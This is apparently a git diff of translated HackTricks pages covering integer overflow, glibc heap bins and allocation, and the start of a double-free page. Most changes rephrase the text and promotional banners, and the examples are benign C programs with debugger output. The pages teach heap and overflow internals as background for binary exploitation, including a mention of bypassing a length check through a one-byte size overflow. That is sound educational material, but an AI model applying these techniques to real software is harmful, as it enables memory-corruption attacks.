* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 整数溢出
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**整数溢出**的核心是计算机编程中数据类型的**大小**限制和数据的**解释**。
|
||||
在**整数溢出**的核心是计算机编程中数据类型的**大小**限制和数据的**解释**。
|
||||
|
||||
例如,一个**8位无符号整数**可以表示**0到255**的值。如果尝试将值256存储在8位无符号整数中,由于其存储容量的限制,它会回绕到0。同样,对于**16位无符号整数**,它可以保存**0到65,535**的值,将65,535加1会将值回绕到0。
|
||||
例如,一个**8位无符号整数**可以表示从**0到255**的值。如果尝试将值256存储在8位无符号整数中,由于其存储容量的限制,它会回绕到0。同样,对于一个**16位无符号整数**,它可以保存从**0到65,535**的值,将65,535加1会将值回绕到0。
|
||||
|
||||
此外,一个**8位有符号整数**可以表示**-128到127**的值。这是因为一个比特用于表示符号(正或负),剩下的7位用于表示大小。最负数表示为**-128**(二进制`10000000`),最正数为**127**(二进制`01111111`)。
|
||||
此外,一个**8位有符号整数**可以表示从**-128到127**的值。这是因为一个比特用于表示符号(正或负),剩下的7位用于表示大小。最负数表示为**-128**(二进制 `10000000`),最正数为**127**(二进制 `01111111`)。
|
||||
|
||||
### 最大值
|
||||
|
||||
|
@ -43,7 +44,8 @@ println!("{}", add_result);
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="C" %}
|
||||
整数溢出是一种常见的安全漏洞,发生在对整数进行算术运算时,结果超出了该整数类型所能表示的范围。这可能导致未预期的行为,如数据损坏、程序崩溃或甚至远程代码执行。要防止整数溢出,应该在进行算术运算前检查操作数的范围,并采取适当的措施,如使用更大的数据类型或添加边界检查。
|
||||
整数溢出是一种常见的安全漏洞,发生在对整数进行算术运算时,结果超出了该整数类型所能表示的范围。这可能导致未预期的行为,如数据损坏、程序崩溃或甚至远程代码执行。在 C 语言中,整数溢出是一种常见的问题,因为 C 不会自动检查整数运算是否会导致溢出。为了防止整数溢出,开发人员应该谨慎设计他们的代码,确保在进行整数运算时考虑到可能的溢出情况。
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
@ -114,22 +116,23 @@ return 0;
|
|||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
* 只使用1B来存储密码的大小,因此可能会发生溢出,并使其认为长度为4,而实际上长度为260,以绕过长度检查保护并覆盖堆栈中的下一个局部变量,并绕过两个保护
|
||||
* 只使用1B来存储密码的大小,因此可能会发生溢出,并使其认为长度为4,而实际上长度为260,以绕过长度检查保护,并覆盖堆栈中的下一个局部变量并绕过两个保护
|
||||
|
||||
## ARM64
|
||||
|
||||
这在**ARM64中没有改变**,如您可以在[**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。
|
||||
这在ARM64中**没有改变**,如您可以在[**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
# Bins & 内存分配
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
为了提高块存储的效率,每个块不仅仅在一个链接列表中,而是有几种类型。这些是bins,有5种类型的bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小型bins,63 大型bins,1 未排序bin,10 快速bins 和每个线程的 64 tcache bins。
|
||||
为了提高块存储的效率,每个块不仅仅在一个链接列表中,而是有几种类型。这些是 bins,有 5 种类型的 bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小型 bins,63 大型 bins,1 未排序 bin,10 快速 bins 和每个线程 64 个 tcache bins。
|
||||
|
||||
每个未排序、小型和大型bins的初始地址都在同一个数组中。索引0未使用,1是未排序bin,bins 2-64是小型bins,bins 65-127是大型bins。
|
||||
每个未排序、小型和大型 bins 的初始地址都在同一个数组内。索引 0 未使用,1 是未排序 bin,bins 2-64 是小型 bins,bins 65-127 是大型 bins。
|
||||
|
||||
### Tcache(每线程缓存)Bins
|
||||
|
||||
尽管线程尝试拥有自己的堆(参见[竞技场](bins-and-memory-allocations.md#arenas)和[子堆](bins-and-memory-allocations.md#subheaps)),但有可能一个具有大量线程的进程(如Web服务器)**最终会与其他线程共享堆**。在这种情况下,主要解决方案是使用**锁**,这可能会**显著减慢线程**。
|
||||
尽管线程尝试拥有自己的堆(参见 [Arenas](bins-and-memory-allocations.md#arenas) 和 [Subheaps](bins-and-memory-allocations.md#subheaps)),但存在一个进程有大量线程(如 Web 服务器)**最终会与其他线程共享堆**的可能性。在这种情况下,主要解决方案是使用**锁**,这可能会**显著减慢线程**。
|
||||
|
||||
因此,tcache类似于每个线程的快速bin,因为它是一个**不合并块的单链表**。每个线程有**64个单链tcache bins**。每个bin最多可以有[7个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),范围从[24到1032字节(64位系统)和12到516字节(32位系统)](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。
|
||||
因此,tcache 类似于每个线程的快速 bin,它是一个**单链表**,不合并块。每个线程有**64 个单链 tcache bins**。每个 bin 可以有最多[7 个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),范围从[24 到 1032 字节(64 位系统)和 12 到 516 字节(32 位系统)](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。
|
||||
|
||||
当一个线程释放一个块时,如果它不太大以至于无法在tcache中分配,并且相应的tcache bin**不是满的**(已有7个块),**它将被分配到那里**。如果无法进入tcache,它将需要等待堆锁以能够在全局bins中执行释放操作。
|
||||
当一个线程释放一个块时,如果它不太大以至于无法在 tcache 中分配,并且相应的 tcache bin **未满**(已有 7 个块),它将被分配到那里。如果无法进入 tcache,则需要等待堆锁以执行全局释放操作。
|
||||
|
||||
当**分配一个块**时,如果在**Tcache中有所需大小的空闲块**,它将使用它,否则,它将需要等待堆锁以能够在全局bins中找到一个或创建一个新的。\
|
||||
在这种情况下还有一个优化,即在持有堆锁的同时,线程**将用所请求大小的堆块(7个)填充其Tcache**,因此,如果需要更多,它将在Tcache中找到它们。
|
||||
当分配一个**块**时,如果在**Tcache 中有所需大小的空闲块**,它将使用它,否则,需要等待堆锁以在全局 bins 中找到一个或创建一个新的。\
|
||||
还有一个优化,在这种情况下,持有堆锁时,线程**将用请求的大小填充他的 Tcache 中的堆块(7 个)**,因此,如果需要更多,它将在 Tcache 中找到它们。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>添加一个tcache块示例</summary>
|
||||
<summary>添加一个 tcache 块示例</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
@ -59,6 +60,10 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
|
|||
#### Tcache 结构和函数
|
||||
|
||||
在下面的代码中,可以看到**最大 bin**和**每个索引的块数**,创建的**`tcache_entry`**结构用于避免双重释放,以及**`tcache_perthread_struct`**,每个线程使用的结构来存储 bin 的每个索引的地址。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>tcache_entry</code> 和 <code>tcache_perthread_struct</code></summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
|
||||
|
||||
|
@ -165,9 +170,9 @@ Tcache有几个bin,取决于大小和**每个索引的第一个chunk的初始
|
|||
|
||||
此外,**快速bins使用单链表**,而不是双链表,这进一步提高了速度。由于快速bins中的chunks不会与相邻的chunks合并,所以不需要一个复杂的结构来允许从中间删除。单链表对于这些操作来说更简单更快。
|
||||
|
||||
基本上,在这里发生的情况是,头部(指向要检查的第一个chunk的指针)始终指向该大小的最新释放的chunk。所以:
|
||||
基本上,在这里发生的情况是头部(指向要检查的第一个chunk的指针)始终指向该大小的最新释放的chunk。所以:
|
||||
|
||||
- 当分配该大小的新chunk时,头部指向一个可用的自由chunk。由于此自由chunk指向下一个要使用的chunk,因此该地址存储在头部中,以便下一个分配知道从哪里获取可用的chunk。
|
||||
- 当分配该大小的新chunk时,头部指向一个可用的自由chunk。由于这个自由chunk指向下一个要使用的chunk,所以该地址存储在头部中,以便下一个分配知道从哪里获取一个可用的chunk。
|
||||
- 当释放一个chunk时,自由的chunk将保存当前可用chunk的地址,并且这个新释放的chunk的地址将放入头部中。
|
||||
|
||||
链表的最大大小为`0x80`,它们被组织成大小为`0x20`的chunk将位于索引`0`,大小为`0x30`的chunk将位于索引`1`...
|
||||
|
@ -238,9 +243,9 @@ free(chunks[i]);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
注意我们如何分配和释放8个相同大小的块,使它们填满tcache,并且第八个存储在fast chunk中。
|
||||
注意我们如何分配和释放8个相同大小的块,使它们填满tcache,并且第八个存储在快速块中。
|
||||
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在fast bin中:
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在快速bin中:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -259,7 +264,7 @@ Fastbins[idx=1, size=0x30] 0x00
|
|||
|
||||
请注意,如果一个较大的块被分成两半,剩下的部分大于 MINSIZE,它将被放回未排序 bin 中。
|
||||
|
||||
因此,未排序 bin 是一种通过快速重用最近释放的内存来加快内存分配速度的方法,从而减少对耗时搜索和合并的需求。
|
||||
因此,未排序 bin 是一种通过快速重用最近释放的内存来加快内存分配速度的方法,从而减少了耗时的搜索和合并的需求。
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,即使块属于不同的类别,如果一个可用块与另一个可用块发生冲突(即使它们最初属于不同的 bin),它们将被合并。
|
||||
|
@ -295,7 +300,7 @@ free(chunks[i]);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
注意我们如何分配和释放9个相同大小的块,使它们**填满tcache**,第八个块存储在未排序的bin中,因为它**太大了无法放入fastbin**,第九个块没有被释放,所以第九个和第八个**不会与顶部块合并**。
|
||||
注意我们如何分配和释放9个相同大小的块,使它们填满了tcache,第八个块存储在未排序的bin中,因为它对于fastbin来说太大了,第九个块没有被释放,所以第九个和第八个块不会与顶部块合并。
|
||||
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在未排序的bin中:
|
||||
```bash
|
||||
|
@ -319,7 +324,7 @@ Fastbins[idx=6, size=0x80] 0x00
|
|||
|
||||
### Small Bins
|
||||
|
||||
小型块比大型块快,但比快速块慢。
|
||||
小型块比大型块更快,但比快速块慢。
|
||||
|
||||
62个小型块中的每个块都将具有**相同大小的块**:16、24、...(在32位系统中最大为504字节,在64位系统中为1024字节)。这有助于加快查找应分配空间的块所在的块以及在这些列表上插入和删除条目的速度。
|
||||
|
||||
|
@ -380,9 +385,9 @@ chunks[9] = malloc(0x110);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们**填满tcache**,第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。然后我们分配一个更大的0x110块,这使得**未排序bin中的块进入small bin**。
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们填满tcache,并且第八个存储在未排序的bin中,因为它对于fastbin来说太大了,第九个没有被释放,所以第九个和第八个不会与顶部块合并。然后我们分配一个更大的0x110块,这使得未排序bin中的块进入small bin。
|
||||
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在small bin中:
|
||||
编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在small bin中:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -404,26 +409,26 @@ Fastbins[idx=6, size=0x80] 0x00
|
|||
```
|
||||
</details>
|
||||
|
||||
### 大型bins
|
||||
### 大型 bins
|
||||
|
||||
与管理固定大小的块的小型bins不同,**每个大型bin处理一系列块大小**。这样更加灵活,允许系统在不需要为每个大小单独设置bin的情况下容纳**各种大小**。
|
||||
与管理固定大小的块的小型 bins 不同,**每个大型 bin 处理一系列块大小**。这样更加灵活,允许系统在不需要为每个大小单独设置 bin 的情况下容纳**各种大小**。
|
||||
|
||||
在内存分配器中,大型bins从小型bins结束的地方开始。大型bins的范围逐渐增大,意味着第一个bin可能覆盖512到576字节的块,而下一个覆盖576到640字节。这种模式继续下去,最大的bin包含所有大于1MB的块。
|
||||
在内存分配器中,大型 bins 从小型 bins 结束的地方开始。大型 bins 的范围逐渐增大,意味着第一个 bin 可能覆盖从 512 到 576 字节的块,而下一个覆盖 576 到 640 字节。这种模式继续下去,最大的 bin 包含所有大于 1MB 的块。
|
||||
|
||||
与小型bins相比,大型bins的操作速度较慢,因为它们必须**对各种块大小的列表进行排序和搜索以找到最佳匹配**。当一个块被插入到大型bin中时,它必须被排序,当分配内存时,系统必须找到合适的块。这额外的工作使它们**更慢**,但由于大型分配比小型分配更少见,这是可以接受的权衡。
|
||||
与小型 bins 相比,大型 bins 操作速度较慢,因为它们必须**对各种块大小的列表进行排序和搜索,以找到最佳匹配**进行分配。当一个块被插入到大型 bin 中时,它必须被排序,当分配内存时,系统必须找到正确的块。这额外的工作使它们**更慢**,但由于大型分配比小型分配更少见,这是一个可以接受的折衷。
|
||||
|
||||
有:
|
||||
|
||||
* 32个64字节范围的bins(与小型bins冲突)
|
||||
* 16个512字节范围的bins(与小型bins冲突)
|
||||
* 8个4096字节范围的bins(部分与小型bins冲突)
|
||||
* 4个32768字节范围的bins
|
||||
* 2个262144字节范围的bins
|
||||
* 1个用于剩余大小的bin
|
||||
* 32 个 64B 范围的 bins(与小型 bins 冲突)
|
||||
* 16 个 512B 范围的 bins(与小型 bins 冲突)
|
||||
* 8 个 4096B 范围的 bins(部分与小型 bins 冲突)
|
||||
* 4 个 32768B 范围的 bins
|
||||
* 2 个 262144B 范围的 bins
|
||||
* 1 个用于剩余大小的 bin
|
||||
|
||||
<details>
|
||||
|
||||
<summary>大型bin大小代码</summary>
|
||||
<summary>大型 bin 大小代码</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
|
@ -480,9 +485,9 @@ chunks[0] = malloc(0x2000);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
2个大内存分配被执行,然后一个被释放(将其放入未排序的bin),然后进行更大的分配(将释放的内存从未排序的bin移动到大的bin)。
|
||||
2个大型分配被执行,然后一个被释放(将其放入未排序的bin),然后进行更大的分配(将空闲的块从未排序的bin移动到大型bin)。
|
||||
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,一个chunk在大的bin中:
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,您可以看到tcache bin已满,一个块在大型bin中:
|
||||
```bash
|
||||
gef➤ heap bin
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -565,8 +570,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
|
|||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||
```
|
||||
在地址`0xaaaaaaac1ae0`处可以看到顶部块(top chunk)。这并不奇怪,因为最后分配的块位于`0xaaaaaaac12a0`,大小为`0x410`,因此`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`。\
|
||||
还可以在顶部块的块头中看到顶部块的长度:
|
||||
在地址`0xaaaaaaac1ae0`处可以看到顶部块的存在。这并不奇怪,因为最后分配的块位于`0xaaaaaaac12a0`,大小为`0x410`,因此`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`。\
|
||||
还可以在块头部看到顶部块的长度:
|
||||
```bash
|
||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
|
||||
|
@ -576,7 +581,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
|||
|
||||
### 最后剩余
|
||||
|
||||
当使用malloc并且一个块被分割(例如从未排序的bin或从顶部块分割)时,从剩余块创建的块称为最后剩余,其指针存储在`malloc_state`结构中。
|
||||
当使用malloc并且一个块被分割(例如从未排序的bin或从顶部块分割)时,从剩余的分割块创建的块称为最后剩余,并且其指针存储在`malloc_state`结构中。
|
||||
|
||||
## 分配流程
|
||||
|
||||
|
@ -609,16 +614,17 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
|||
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 双重释放
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
